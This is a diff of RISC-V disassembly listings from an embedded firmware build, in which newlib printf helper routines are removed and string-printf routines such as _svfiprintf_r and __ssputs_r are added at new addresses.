-204042aa:	0ff7f793          	andi	a5,a5,255
-204042ae:	4655                	li	a2,21
-204042b0:	fef666e3          	bltu	a2,a5,2040429c <_printf_i+0x3e>
-204042b4:	00002617          	auipc	a2,0x2
-204042b8:	cd460613          	addi	a2,a2,-812 # 20405f88 <__sf_fake_stdout+0x5c>
-204042bc:	078a                	slli	a5,a5,0x2
-204042be:	97b2                	add	a5,a5,a2
-204042c0:	439c                	lw	a5,0(a5)
-204042c2:	97b2                	add	a5,a5,a2
-204042c4:	8782                	jr	a5
-204042c6:	431c                	lw	a5,0(a4)
-204042c8:	04258a93          	addi	s5,a1,66
-204042cc:	00478693          	addi	a3,a5,4
-204042d0:	439c                	lw	a5,0(a5)
-204042d2:	c314                	sw	a3,0(a4)
-204042d4:	04f58123          	sb	a5,66(a1)
-204042d8:	4785                	li	a5,1
-204042da:	a265                	j	20404482 <_printf_i+0x224>
-204042dc:	419c                	lw	a5,0(a1)
-204042de:	4308                	lw	a0,0(a4)
-204042e0:	0807f613          	andi	a2,a5,128
-204042e4:	00450593          	addi	a1,a0,4
-204042e8:	c20d                	beqz	a2,2040430a <_printf_i+0xac>
-204042ea:	411c                	lw	a5,0(a0)
-204042ec:	c30c                	sw	a1,0(a4)
-204042ee:	0007d863          	bgez	a5,204042fe <_printf_i+0xa0>
-204042f2:	02d00713          	li	a4,45
-204042f6:	40f007b3          	neg	a5,a5
-204042fa:	04e401a3          	sb	a4,67(s0)
-204042fe:	00002617          	auipc	a2,0x2
-20404302:	c6260613          	addi	a2,a2,-926 # 20405f60 <__sf_fake_stdout+0x34>
-20404306:	4829                	li	a6,10
-20404308:	a0a1                	j	20404350 <_printf_i+0xf2>
-2040430a:	0407f613          	andi	a2,a5,64
-2040430e:	411c                	lw	a5,0(a0)
-20404310:	c30c                	sw	a1,0(a4)
-20404312:	de71                	beqz	a2,204042ee <_printf_i+0x90>
-20404314:	07c2                	slli	a5,a5,0x10
-20404316:	87c1                	srai	a5,a5,0x10
-20404318:	bfd9                	j	204042ee <_printf_i+0x90>
-2040431a:	4190                	lw	a2,0(a1)
-2040431c:	431c                	lw	a5,0(a4)
-2040431e:	08067513          	andi	a0,a2,128
-20404322:	00478593          	addi	a1,a5,4
-20404326:	c501                	beqz	a0,2040432e <_printf_i+0xd0>
-20404328:	c30c                	sw	a1,0(a4)
-2040432a:	439c                	lw	a5,0(a5)
-2040432c:	a039                	j	2040433a <_printf_i+0xdc>
-2040432e:	04067613          	andi	a2,a2,64
-20404332:	c30c                	sw	a1,0(a4)
-20404334:	da7d                	beqz	a2,2040432a <_printf_i+0xcc>
-20404336:	0007d783          	lhu	a5,0(a5)
-2040433a:	06f00713          	li	a4,111
-2040433e:	00002617          	auipc	a2,0x2
-20404342:	c2260613          	addi	a2,a2,-990 # 20405f60 <__sf_fake_stdout+0x34>
-20404346:	0ee80463          	beq	a6,a4,2040442e <_printf_i+0x1d0>
-2040434a:	4829                	li	a6,10
-2040434c:	040401a3          	sb	zero,67(s0)
-20404350:	4058                	lw	a4,4(s0)
-20404352:	c418                	sw	a4,8(s0)
-20404354:	00074563          	bltz	a4,2040435e <_printf_i+0x100>
-20404358:	400c                	lw	a1,0(s0)
-2040435a:	99ed                	andi	a1,a1,-5
-2040435c:	c00c                	sw	a1,0(s0)
-2040435e:	e399                	bnez	a5,20404364 <_printf_i+0x106>
-20404360:	8ab6                	mv	s5,a3
-20404362:	cf19                	beqz	a4,20404380 <_printf_i+0x122>
-20404364:	8ab6                	mv	s5,a3
-20404366:	0307f733          	remu	a4,a5,a6
-2040436a:	1afd                	addi	s5,s5,-1
-2040436c:	9732                	add	a4,a4,a2
-2040436e:	00074703          	lbu	a4,0(a4)
-20404372:	00ea8023          	sb	a4,0(s5)
-20404376:	873e                	mv	a4,a5
-20404378:	0307d7b3          	divu	a5,a5,a6
-2040437c:	ff0775e3          	bgeu	a4,a6,20404366 <_printf_i+0x108>
-20404380:	47a1                	li	a5,8
-20404382:	00f81e63          	bne	a6,a5,2040439e <_printf_i+0x140>
-20404386:	401c                	lw	a5,0(s0)
-20404388:	8b85                	andi	a5,a5,1
-2040438a:	cb91                	beqz	a5,2040439e <_printf_i+0x140>
-2040438c:	4058                	lw	a4,4(s0)
-2040438e:	481c                	lw	a5,16(s0)
-20404390:	00e7c763          	blt	a5,a4,2040439e <_printf_i+0x140>
-20404394:	03000793          	li	a5,48
-20404398:	fefa8fa3          	sb	a5,-1(s5)
-2040439c:	1afd                	addi	s5,s5,-1
-2040439e:	415686b3          	sub	a3,a3,s5
-204043a2:	c814                	sw	a3,16(s0)
-204043a4:	874e                	mv	a4,s3
-204043a6:	86ca                	mv	a3,s2
-204043a8:	0070                	addi	a2,sp,12
-204043aa:	85a2                	mv	a1,s0
-204043ac:	8526                	mv	a0,s1
-204043ae:	3355                	jal	20404152 <_printf_common>
-204043b0:	5a7d                	li	s4,-1
-204043b2:	0d451c63          	bne	a0,s4,2040448a <_printf_i+0x22c>
-204043b6:	557d                	li	a0,-1
-204043b8:	50b2                	lw	ra,44(sp)
-204043ba:	5422                	lw	s0,40(sp)
-204043bc:	5492                	lw	s1,36(sp)
-204043be:	5902                	lw	s2,32(sp)
-204043c0:	49f2                	lw	s3,28(sp)
-204043c2:	4a62                	lw	s4,24(sp)
-204043c4:	4ad2                	lw	s5,20(sp)
-204043c6:	4b42                	lw	s6,16(sp)
-204043c8:	6145                	addi	sp,sp,48
-204043ca:	8082                	ret
-204043cc:	050582a3          	sb	a6,69(a1)
-204043d0:	00002617          	auipc	a2,0x2
-204043d4:	b9060613          	addi	a2,a2,-1136 # 20405f60 <__sf_fake_stdout+0x34>
-204043d8:	400c                	lw	a1,0(s0)
-204043da:	4308                	lw	a0,0(a4)
-204043dc:	0805f813          	andi	a6,a1,128
-204043e0:	411c                	lw	a5,0(a0)
-204043e2:	0511                	addi	a0,a0,4
-204043e4:	02080d63          	beqz	a6,2040441e <_printf_i+0x1c0>
-204043e8:	c308                	sw	a0,0(a4)
-204043ea:	0015f713          	andi	a4,a1,1
-204043ee:	c701                	beqz	a4,204043f6 <_printf_i+0x198>
-204043f0:	0205e593          	ori	a1,a1,32
-204043f4:	c00c                	sw	a1,0(s0)
-204043f6:	4841                	li	a6,16
-204043f8:	fbb1                	bnez	a5,2040434c <_printf_i+0xee>
-204043fa:	4018                	lw	a4,0(s0)
-204043fc:	fdf77713          	andi	a4,a4,-33
-20404400:	c018                	sw	a4,0(s0)
-20404402:	b7a9                	j	2040434c <_printf_i+0xee>
-20404404:	419c                	lw	a5,0(a1)
-20404406:	0207e793          	ori	a5,a5,32
-2040440a:	c19c                	sw	a5,0(a1)
-2040440c:	07800793          	li	a5,120
-20404410:	04f402a3          	sb	a5,69(s0)
-20404414:	00002617          	auipc	a2,0x2
-20404418:	b6060613          	addi	a2,a2,-1184 # 20405f74 <__sf_fake_stdout+0x48>
-2040441c:	bf75                	j	204043d8 <_printf_i+0x17a>
-2040441e:	0405f813          	andi	a6,a1,64
-20404422:	c308                	sw	a0,0(a4)
-20404424:	fc0803e3          	beqz	a6,204043ea <_printf_i+0x18c>
-20404428:	07c2                	slli	a5,a5,0x10
-2040442a:	83c1                	srli	a5,a5,0x10
-2040442c:	bf7d                	j	204043ea <_printf_i+0x18c>
-2040442e:	4821                	li	a6,8
-20404430:	bf31                	j	2040434c <_printf_i+0xee>
-20404432:	4190                	lw	a2,0(a1)
-20404434:	431c                	lw	a5,0(a4)
-20404436:	49cc                	lw	a1,20(a1)
-20404438:	08067813          	andi	a6,a2,128
-2040443c:	00478513          	addi	a0,a5,4
-20404440:	00080663          	beqz	a6,2040444c <_printf_i+0x1ee>
-20404444:	c308                	sw	a0,0(a4)
-20404446:	439c                	lw	a5,0(a5)
-20404448:	c38c                	sw	a1,0(a5)
-2040444a:	a801                	j	2040445a <_printf_i+0x1fc>
-2040444c:	c308                	sw	a0,0(a4)
-2040444e:	04067613          	andi	a2,a2,64
-20404452:	439c                	lw	a5,0(a5)
-20404454:	da75                	beqz	a2,20404448 <_printf_i+0x1ea>
-20404456:	00b79023          	sh	a1,0(a5)
-2040445a:	00042823          	sw	zero,16(s0)
-2040445e:	8ab6                	mv	s5,a3
-20404460:	b791                	j	204043a4 <_printf_i+0x146>
-20404462:	431c                	lw	a5,0(a4)
-20404464:	41d0                	lw	a2,4(a1)
-20404466:	4581                	li	a1,0
-20404468:	00478693          	addi	a3,a5,4
-2040446c:	c314                	sw	a3,0(a4)
-2040446e:	0007aa83          	lw	s5,0(a5)
-20404472:	8556                	mv	a0,s5
-20404474:	17b000ef          	jal	ra,20404dee <memchr>
-20404478:	c501                	beqz	a0,20404480 <_printf_i+0x222>
-2040447a:	41550533          	sub	a0,a0,s5
-2040447e:	c048                	sw	a0,4(s0)
-20404480:	405c                	lw	a5,4(s0)
-20404482:	c81c                	sw	a5,16(s0)
-20404484:	040401a3          	sb	zero,67(s0)
-20404488:	bf31                	j	204043a4 <_printf_i+0x146>
-2040448a:	4814                	lw	a3,16(s0)
-2040448c:	8656                	mv	a2,s5
-2040448e:	85ca                	mv	a1,s2
-20404490:	8526                	mv	a0,s1
-20404492:	9982                	jalr	s3
-20404494:	f34501e3          	beq	a0,s4,204043b6 <_printf_i+0x158>
-20404498:	401c                	lw	a5,0(s0)
-2040449a:	8b89                	andi	a5,a5,2
-2040449c:	e78d                	bnez	a5,204044c6 <_printf_i+0x268>
-2040449e:	47b2                	lw	a5,12(sp)
-204044a0:	4448                	lw	a0,12(s0)
-204044a2:	f0f55be3          	bge	a0,a5,204043b8 <_printf_i+0x15a>
-204044a6:	853e                	mv	a0,a5
-204044a8:	bf01                	j	204043b8 <_printf_i+0x15a>
-204044aa:	4685                	li	a3,1
-204044ac:	8656                	mv	a2,s5
-204044ae:	85ca                	mv	a1,s2
-204044b0:	8526                	mv	a0,s1
-204044b2:	9982                	jalr	s3
-204044b4:	f16501e3          	beq	a0,s6,204043b6 <_printf_i+0x158>
-204044b8:	0a05                	addi	s4,s4,1
-204044ba:	445c                	lw	a5,12(s0)
-204044bc:	4732                	lw	a4,12(sp)
-204044be:	8f99                	sub	a5,a5,a4
-204044c0:	fefa45e3          	blt	s4,a5,204044aa <_printf_i+0x24c>
-204044c4:	bfe9                	j	2040449e <_printf_i+0x240>
-204044c6:	4a01                	li	s4,0
-204044c8:	01940a93          	addi	s5,s0,25
-204044cc:	5b7d                	li	s6,-1
-204044ce:	b7f5                	j	204044ba <_printf_i+0x25c>
+20402b34 <__malloc_unlock>:
+20402b34:	8082                	ret
 
-204044d0 <__sfputc_r>:
-204044d0:	461c                	lw	a5,8(a2)
-204044d2:	17fd                	addi	a5,a5,-1
-204044d4:	c61c                	sw	a5,8(a2)
-204044d6:	0007d963          	bgez	a5,204044e8 <__sfputc_r+0x18>
-204044da:	4e18                	lw	a4,24(a2)
-204044dc:	00e7c563          	blt	a5,a4,204044e6 <__sfputc_r+0x16>
-204044e0:	47a9                	li	a5,10
-204044e2:	00f59363          	bne	a1,a5,204044e8 <__sfputc_r+0x18>
-204044e6:	a189                	j	20404928 <__swbuf_r>
-204044e8:	421c                	lw	a5,0(a2)
-204044ea:	852e                	mv	a0,a1
-204044ec:	00178713          	addi	a4,a5,1
-204044f0:	c218                	sw	a4,0(a2)
-204044f2:	00b78023          	sb	a1,0(a5)
-204044f6:	8082                	ret
+20402b36 <__ssputs_r>:
+20402b36:	1101                	addi	sp,sp,-32
+20402b38:	c84a                	sw	s2,16(sp)
+20402b3a:	0085a903          	lw	s2,8(a1)
+20402b3e:	cc22                	sw	s0,24(sp)
+20402b40:	c64e                	sw	s3,12(sp)
+20402b42:	c452                	sw	s4,8(sp)
+20402b44:	ce06                	sw	ra,28(sp)
+20402b46:	ca26                	sw	s1,20(sp)
+20402b48:	c256                	sw	s5,4(sp)
+20402b4a:	c05a                	sw	s6,0(sp)
+20402b4c:	842e                	mv	s0,a1
+20402b4e:	8a32                	mv	s4,a2
+20402b50:	89b6                	mv	s3,a3
+20402b52:	0926ee63          	bltu	a3,s2,20402bee <__ssputs_r+0xb8>
+20402b56:	00c5d783          	lhu	a5,12(a1)
+20402b5a:	4807f713          	andi	a4,a5,1152
+20402b5e:	c751                	beqz	a4,20402bea <__ssputs_r+0xb4>
+20402b60:	4004                	lw	s1,0(s0)
+20402b62:	498c                	lw	a1,16(a1)
+20402b64:	4858                	lw	a4,20(s0)
+20402b66:	8b2a                	mv	s6,a0
+20402b68:	40b48ab3          	sub	s5,s1,a1
+20402b6c:	448d                	li	s1,3
+20402b6e:	02e484b3          	mul	s1,s1,a4
+20402b72:	4709                	li	a4,2
+20402b74:	02e4c4b3          	div	s1,s1,a4
+20402b78:	00168713          	addi	a4,a3,1
+20402b7c:	9756                	add	a4,a4,s5
+20402b7e:	00e4f363          	bgeu	s1,a4,20402b84 <__ssputs_r+0x4e>
+20402b82:	84ba                	mv	s1,a4
+20402b84:	4007f793          	andi	a5,a5,1024
+20402b88:	c3d1                	beqz	a5,20402c0c <__ssputs_r+0xd6>
+20402b8a:	85a6                	mv	a1,s1
+20402b8c:	855a                	mv	a0,s6
+20402b8e:	995ff0ef          	jal	ra,20402522 <_malloc_r>
+20402b92:	892a                	mv	s2,a0
+20402b94:	e50d                	bnez	a0,20402bbe <__ssputs_r+0x88>
+20402b96:	47b1                	li	a5,12
+20402b98:	00fb2023          	sw	a5,0(s6)
+20402b9c:	00c45783          	lhu	a5,12(s0)
+20402ba0:	557d                	li	a0,-1
+20402ba2:	0407e793          	ori	a5,a5,64
+20402ba6:	00f41623          	sh	a5,12(s0)
+20402baa:	40f2                	lw	ra,28(sp)
+20402bac:	4462                	lw	s0,24(sp)
+20402bae:	44d2                	lw	s1,20(sp)
+20402bb0:	4942                	lw	s2,16(sp)
+20402bb2:	49b2                	lw	s3,12(sp)
+20402bb4:	4a22                	lw	s4,8(sp)
+20402bb6:	4a92                	lw	s5,4(sp)
+20402bb8:	4b02                	lw	s6,0(sp)
+20402bba:	6105                	addi	sp,sp,32
+20402bbc:	8082                	ret
+20402bbe:	480c                	lw	a1,16(s0)
+20402bc0:	8656                	mv	a2,s5
+20402bc2:	877ff0ef          	jal	ra,20402438 <memcpy>
+20402bc6:	00c45783          	lhu	a5,12(s0)
+20402bca:	b7f7f793          	andi	a5,a5,-1153
+20402bce:	0807e793          	ori	a5,a5,128
+20402bd2:	00f41623          	sh	a5,12(s0)
+20402bd6:	01242823          	sw	s2,16(s0)
+20402bda:	c844                	sw	s1,20(s0)
+20402bdc:	9956                	add	s2,s2,s5
+20402bde:	415484b3          	sub	s1,s1,s5
+20402be2:	01242023          	sw	s2,0(s0)
+20402be6:	c404                	sw	s1,8(s0)
+20402be8:	894e                	mv	s2,s3
+20402bea:	0129f363          	bgeu	s3,s2,20402bf0 <__ssputs_r+0xba>
+20402bee:	894e                	mv	s2,s3
+20402bf0:	4008                	lw	a0,0(s0)
+20402bf2:	864a                	mv	a2,s2
+20402bf4:	85d2                	mv	a1,s4
+20402bf6:	859ff0ef          	jal	ra,2040244e <memmove>
+20402bfa:	441c                	lw	a5,8(s0)
+20402bfc:	4501                	li	a0,0
+20402bfe:	412787b3          	sub	a5,a5,s2
+20402c02:	c41c                	sw	a5,8(s0)
+20402c04:	401c                	lw	a5,0(s0)
+20402c06:	97ca                	add	a5,a5,s2
+20402c08:	c01c                	sw	a5,0(s0)
+20402c0a:	b745                	j	20402baa <__ssputs_r+0x74>
+20402c0c:	8626                	mv	a2,s1
+20402c0e:	855a                	mv	a0,s6
+20402c10:	719000ef          	jal	ra,20403b28 <_realloc_r>
+20402c14:	892a                	mv	s2,a0
+20402c16:	f161                	bnez	a0,20402bd6 <__ssputs_r+0xa0>
+20402c18:	480c                	lw	a1,16(s0)
+20402c1a:	855a                	mv	a0,s6
+20402c1c:	869ff0ef          	jal	ra,20402484 <_free_r>
+20402c20:	bf9d                	j	20402b96 <__ssputs_r+0x60>
 
-204044f8 <__sfputs_r>:
-204044f8:	1101                	addi	sp,sp,-32
-204044fa:	cc22                	sw	s0,24(sp)
-204044fc:	ca26                	sw	s1,20(sp)
-204044fe:	c84a                	sw	s2,16(sp)
-20404500:	c64e                	sw	s3,12(sp)
-20404502:	c452                	sw	s4,8(sp)
-20404504:	ce06                	sw	ra,28(sp)
-20404506:	892a                	mv	s2,a0
-20404508:	89ae                	mv	s3,a1
-2040450a:	8432                	mv	s0,a2
-2040450c:	00d604b3          	add	s1,a2,a3
-20404510:	5a7d                	li	s4,-1
-20404512:	00941463          	bne	s0,s1,2040451a <__sfputs_r+0x22>
-20404516:	4501                	li	a0,0
-20404518:	a809                	j	2040452a <__sfputs_r+0x32>
-2040451a:	00044583          	lbu	a1,0(s0)
-2040451e:	864e                	mv	a2,s3
-20404520:	854a                	mv	a0,s2
-20404522:	377d                	jal	204044d0 <__sfputc_r>
-20404524:	0405                	addi	s0,s0,1
-20404526:	ff4516e3          	bne	a0,s4,20404512 <__sfputs_r+0x1a>
-2040452a:	40f2                	lw	ra,28(sp)
-2040452c:	4462                	lw	s0,24(sp)
-2040452e:	44d2                	lw	s1,20(sp)
-20404530:	4942                	lw	s2,16(sp)
-20404532:	49b2                	lw	s3,12(sp)
-20404534:	4a22                	lw	s4,8(sp)
-20404536:	6105                	addi	sp,sp,32
-20404538:	8082                	ret
+20402c22 <_svfiprintf_r>:
+20402c22:	00c5d783          	lhu	a5,12(a1)
+20402c26:	7135                	addi	sp,sp,-160
+20402c28:	cd22                	sw	s0,152(sp)
+20402c2a:	cb26                	sw	s1,148(sp)
+20402c2c:	c94a                	sw	s2,144(sp)
+20402c2e:	c552                	sw	s4,136(sp)
+20402c30:	cf06                	sw	ra,156(sp)
+20402c32:	c74e                	sw	s3,140(sp)
+20402c34:	c356                	sw	s5,132(sp)
+20402c36:	c15a                	sw	s6,128(sp)
+20402c38:	dede                	sw	s7,124(sp)
+20402c3a:	dce2                	sw	s8,120(sp)
+20402c3c:	dae6                	sw	s9,116(sp)
+20402c3e:	0807f793          	andi	a5,a5,128
+20402c42:	8a2a                	mv	s4,a0
+20402c44:	892e                	mv	s2,a1
+20402c46:	84b2                	mv	s1,a2
+20402c48:	8436                	mv	s0,a3
+20402c4a:	c3a9                	beqz	a5,20402c8c <_svfiprintf_r+0x6a>
+20402c4c:	499c                	lw	a5,16(a1)
+20402c4e:	ef9d                	bnez	a5,20402c8c <_svfiprintf_r+0x6a>
+20402c50:	04000593          	li	a1,64
+20402c54:	8cfff0ef          	jal	ra,20402522 <_malloc_r>
+20402c58:	00a92023          	sw	a0,0(s2)
+20402c5c:	00a92823          	sw	a0,16(s2)
+20402c60:	e115                	bnez	a0,20402c84 <_svfiprintf_r+0x62>
+20402c62:	47b1                	li	a5,12
+20402c64:	00fa2023          	sw	a5,0(s4)
+20402c68:	557d                	li	a0,-1
+20402c6a:	40fa                	lw	ra,156(sp)
+20402c6c:	446a                	lw	s0,152(sp)
+20402c6e:	44da                	lw	s1,148(sp)
+20402c70:	494a                	lw	s2,144(sp)
+20402c72:	49ba                	lw	s3,140(sp)
+20402c74:	4a2a                	lw	s4,136(sp)
+20402c76:	4a9a                	lw	s5,132(sp)
+20402c78:	4b0a                	lw	s6,128(sp)
+20402c7a:	5bf6                	lw	s7,124(sp)
+20402c7c:	5c66                	lw	s8,120(sp)
+20402c7e:	5cd6                	lw	s9,116(sp)
+20402c80:	610d                	addi	sp,sp,160
+20402c82:	8082                	ret
+20402c84:	04000793          	li	a5,64
+20402c88:	00f92a23          	sw	a5,20(s2)
+20402c8c:	02000793          	li	a5,32
+20402c90:	02f104a3          	sb	a5,41(sp)
+20402c94:	03000793          	li	a5,48
+20402c98:	d202                	sw	zero,36(sp)
+20402c9a:	02f10523          	sb	a5,42(sp)
+20402c9e:	c622                	sw	s0,12(sp)
+20402ca0:	02500b93          	li	s7,37
+20402ca4:	00001a97          	auipc	s5,0x1
+20402ca8:	7e8a8a93          	addi	s5,s5,2024 # 2040448c <__sf_fake_stdout+0x20>
+20402cac:	4c05                	li	s8,1
+20402cae:	4b29                	li	s6,10
+20402cb0:	8426                	mv	s0,s1
+20402cb2:	00044783          	lbu	a5,0(s0)
+20402cb6:	c399                	beqz	a5,20402cbc <_svfiprintf_r+0x9a>
+20402cb8:	09779c63          	bne	a5,s7,20402d50 <_svfiprintf_r+0x12e>
+20402cbc:	40940cb3          	sub	s9,s0,s1
+20402cc0:	00940d63          	beq	s0,s1,20402cda <_svfiprintf_r+0xb8>
+20402cc4:	86e6                	mv	a3,s9
+20402cc6:	8626                	mv	a2,s1
+20402cc8:	85ca                	mv	a1,s2
+20402cca:	8552                	mv	a0,s4
+20402ccc:	35ad                	jal	20402b36 <__ssputs_r>
+20402cce:	57fd                	li	a5,-1
+20402cd0:	1af50263          	beq	a0,a5,20402e74 <_svfiprintf_r+0x252>
+20402cd4:	5792                	lw	a5,36(sp)
+20402cd6:	97e6                	add	a5,a5,s9
+20402cd8:	d23e                	sw	a5,36(sp)
+20402cda:	00044783          	lbu	a5,0(s0)
+20402cde:	18078b63          	beqz	a5,20402e74 <_svfiprintf_r+0x252>
+20402ce2:	57fd                	li	a5,-1
+20402ce4:	00140493          	addi	s1,s0,1
+20402ce8:	c802                	sw	zero,16(sp)
+20402cea:	ce02                	sw	zero,28(sp)
+20402cec:	ca3e                	sw	a5,20(sp)
+20402cee:	cc02                	sw	zero,24(sp)
+20402cf0:	040109a3          	sb	zero,83(sp)
+20402cf4:	d482                	sw	zero,104(sp)
+20402cf6:	0004c583          	lbu	a1,0(s1)
+20402cfa:	4615                	li	a2,5
+20402cfc:	8556                	mv	a0,s5
+20402cfe:	611000ef          	jal	ra,20403b0e <memchr>
+20402d02:	47c2                	lw	a5,16(sp)
+20402d04:	00148413          	addi	s0,s1,1
+20402d08:	e531                	bnez	a0,20402d54 <_svfiprintf_r+0x132>
+20402d0a:	0107f713          	andi	a4,a5,16
+20402d0e:	c709                	beqz	a4,20402d18 <_svfiprintf_r+0xf6>
+20402d10:	02000713          	li	a4,32
+20402d14:	04e109a3          	sb	a4,83(sp)
+20402d18:	0087f713          	andi	a4,a5,8
+20402d1c:	c709                	beqz	a4,20402d26 <_svfiprintf_r+0x104>
+20402d1e:	02b00713          	li	a4,43
+20402d22:	04e109a3          	sb	a4,83(sp)
+20402d26:	0004c683          	lbu	a3,0(s1)
+20402d2a:	02a00713          	li	a4,42
+20402d2e:	02e68b63          	beq	a3,a4,20402d64 <_svfiprintf_r+0x142>
+20402d32:	47f2                	lw	a5,28(sp)
+20402d34:	8426                	mv	s0,s1
+20402d36:	4681                	li	a3,0
+20402d38:	4625                	li	a2,9
+20402d3a:	00044703          	lbu	a4,0(s0)
+20402d3e:	00140593          	addi	a1,s0,1
+20402d42:	fd070713          	addi	a4,a4,-48
+20402d46:	06e67463          	bgeu	a2,a4,20402dae <_svfiprintf_r+0x18c>
+20402d4a:	c68d                	beqz	a3,20402d74 <_svfiprintf_r+0x152>
+20402d4c:	ce3e                	sw	a5,28(sp)
+20402d4e:	a01d                	j	20402d74 <_svfiprintf_r+0x152>
+20402d50:	0405                	addi	s0,s0,1
+20402d52:	b785                	j	20402cb2 <_svfiprintf_r+0x90>
+20402d54:	41550533          	sub	a0,a0,s5
+20402d58:	00ac1533          	sll	a0,s8,a0
+20402d5c:	8fc9                	or	a5,a5,a0
+20402d5e:	c83e                	sw	a5,16(sp)
+20402d60:	84a2                	mv	s1,s0
+20402d62:	bf51                	j	20402cf6 <_svfiprintf_r+0xd4>
+20402d64:	4732                	lw	a4,12(sp)
+20402d66:	00470693          	addi	a3,a4,4
+20402d6a:	4318                	lw	a4,0(a4)
+20402d6c:	c636                	sw	a3,12(sp)
+20402d6e:	02074963          	bltz	a4,20402da0 <_svfiprintf_r+0x17e>
+20402d72:	ce3a                	sw	a4,28(sp)
+20402d74:	00044703          	lbu	a4,0(s0)
+20402d78:	02e00793          	li	a5,46
+20402d7c:	04f71f63          	bne	a4,a5,20402dda <_svfiprintf_r+0x1b8>
+20402d80:	00144703          	lbu	a4,1(s0)
+20402d84:	02a00793          	li	a5,42
+20402d88:	02f71b63          	bne	a4,a5,20402dbe <_svfiprintf_r+0x19c>
+20402d8c:	47b2                	lw	a5,12(sp)
+20402d8e:	0409                	addi	s0,s0,2
+20402d90:	00478713          	addi	a4,a5,4 # ffff0004 <_heap_end+0x7ffe1804>
+20402d94:	439c                	lw	a5,0(a5)
+20402d96:	c63a                	sw	a4,12(sp)
+20402d98:	0207c163          	bltz	a5,20402dba <_svfiprintf_r+0x198>
+20402d9c:	ca3e                	sw	a5,20(sp)
+20402d9e:	a835                	j	20402dda <_svfiprintf_r+0x1b8>
+20402da0:	40e00733          	neg	a4,a4
+20402da4:	0027e793          	ori	a5,a5,2
+20402da8:	ce3a                	sw	a4,28(sp)
+20402daa:	c83e                	sw	a5,16(sp)
+20402dac:	b7e1                	j	20402d74 <_svfiprintf_r+0x152>
+20402dae:	036787b3          	mul	a5,a5,s6
+20402db2:	842e                	mv	s0,a1
+20402db4:	4685                	li	a3,1
+20402db6:	97ba                	add	a5,a5,a4
+20402db8:	b749                	j	20402d3a <_svfiprintf_r+0x118>
+20402dba:	57fd                	li	a5,-1
+20402dbc:	b7c5                	j	20402d9c <_svfiprintf_r+0x17a>
+20402dbe:	0405                	addi	s0,s0,1
+20402dc0:	ca02                	sw	zero,20(sp)
+20402dc2:	4681                	li	a3,0
+20402dc4:	4781                	li	a5,0
+20402dc6:	4625                	li	a2,9
+20402dc8:	00044703          	lbu	a4,0(s0)
+20402dcc:	00140593          	addi	a1,s0,1
+20402dd0:	fd070713          	addi	a4,a4,-48
+20402dd4:	06e67663          	bgeu	a2,a4,20402e40 <_svfiprintf_r+0x21e>
+20402dd8:	f2f1                	bnez	a3,20402d9c <_svfiprintf_r+0x17a>
+20402dda:	00044583          	lbu	a1,0(s0)
+20402dde:	460d                	li	a2,3
+20402de0:	00001517          	auipc	a0,0x1
+20402de4:	6b450513          	addi	a0,a0,1716 # 20404494 <__sf_fake_stdout+0x28>
+20402de8:	527000ef          	jal	ra,20403b0e <memchr>
+20402dec:	cd11                	beqz	a0,20402e08 <_svfiprintf_r+0x1e6>
+20402dee:	00001797          	auipc	a5,0x1
+20402df2:	6a678793          	addi	a5,a5,1702 # 20404494 <__sf_fake_stdout+0x28>
+20402df6:	8d1d                	sub	a0,a0,a5
+20402df8:	04000793          	li	a5,64
+20402dfc:	00a797b3          	sll	a5,a5,a0
+20402e00:	4542                	lw	a0,16(sp)
+20402e02:	0405                	addi	s0,s0,1
+20402e04:	8d5d                	or	a0,a0,a5
+20402e06:	c82a                	sw	a0,16(sp)
+20402e08:	00044583          	lbu	a1,0(s0)
+20402e0c:	4619                	li	a2,6
+20402e0e:	00001517          	auipc	a0,0x1
+20402e12:	68a50513          	addi	a0,a0,1674 # 20404498 <__sf_fake_stdout+0x2c>
+20402e16:	00140493          	addi	s1,s0,1
+20402e1a:	02b10423          	sb	a1,40(sp)
+20402e1e:	4f1000ef          	jal	ra,20403b0e <memchr>
+20402e22:	c135                	beqz	a0,20402e86 <_svfiprintf_r+0x264>
+20402e24:	00000793          	li	a5,0
+20402e28:	e795                	bnez	a5,20402e54 <_svfiprintf_r+0x232>
+20402e2a:	4742                	lw	a4,16(sp)
+20402e2c:	47b2                	lw	a5,12(sp)
+20402e2e:	10077713          	andi	a4,a4,256
+20402e32:	cf09                	beqz	a4,20402e4c <_svfiprintf_r+0x22a>
+20402e34:	0791                	addi	a5,a5,4
+20402e36:	c63e                	sw	a5,12(sp)
+20402e38:	5792                	lw	a5,36(sp)
+20402e3a:	97ce                	add	a5,a5,s3
+20402e3c:	d23e                	sw	a5,36(sp)
+20402e3e:	bd8d                	j	20402cb0 <_svfiprintf_r+0x8e>
+20402e40:	036787b3          	mul	a5,a5,s6
+20402e44:	842e                	mv	s0,a1
+20402e46:	4685                	li	a3,1
+20402e48:	97ba                	add	a5,a5,a4
+20402e4a:	bfbd                	j	20402dc8 <_svfiprintf_r+0x1a6>
+20402e4c:	079d                	addi	a5,a5,7
+20402e4e:	9be1                	andi	a5,a5,-8
+20402e50:	07a1                	addi	a5,a5,8
+20402e52:	b7d5                	j	20402e36 <_svfiprintf_r+0x214>
+20402e54:	0078                	addi	a4,sp,12
+20402e56:	00000697          	auipc	a3,0x0
+20402e5a:	ce068693          	addi	a3,a3,-800 # 20402b36 <__ssputs_r>
+20402e5e:	864a                	mv	a2,s2
+20402e60:	080c                	addi	a1,sp,16
+20402e62:	8552                	mv	a0,s4
+20402e64:	00000097          	auipc	ra,0x0
+20402e68:	000000e7          	jalr	zero # 0 <__stack_size-0x800>
+20402e6c:	57fd                	li	a5,-1
+20402e6e:	89aa                	mv	s3,a0
+20402e70:	fcf514e3          	bne	a0,a5,20402e38 <_svfiprintf_r+0x216>
+20402e74:	00c95783          	lhu	a5,12(s2)
+20402e78:	557d                	li	a0,-1
+20402e7a:	0407f793          	andi	a5,a5,64
+20402e7e:	de0796e3          	bnez	a5,20402c6a <_svfiprintf_r+0x48>
+20402e82:	5512                	lw	a0,36(sp)
+20402e84:	b3dd                	j	20402c6a <_svfiprintf_r+0x48>
+20402e86:	0078                	addi	a4,sp,12
+20402e88:	00000697          	auipc	a3,0x0
+20402e8c:	cae68693          	addi	a3,a3,-850 # 20402b36 <__ssputs_r>
+20402e90:	864a                	mv	a2,s2
+20402e92:	080c                	addi	a1,sp,16
+20402e94:	8552                	mv	a0,s4
+20402e96:	2a01                	jal	20402fa6 <_printf_i>
+20402e98:	bfd1                	j	20402e6c <_svfiprintf_r+0x24a>
 
-2040453a <_vfiprintf_r>:
-2040453a:	7135                	addi	sp,sp,-160
-2040453c:	cd22                	sw	s0,152(sp)
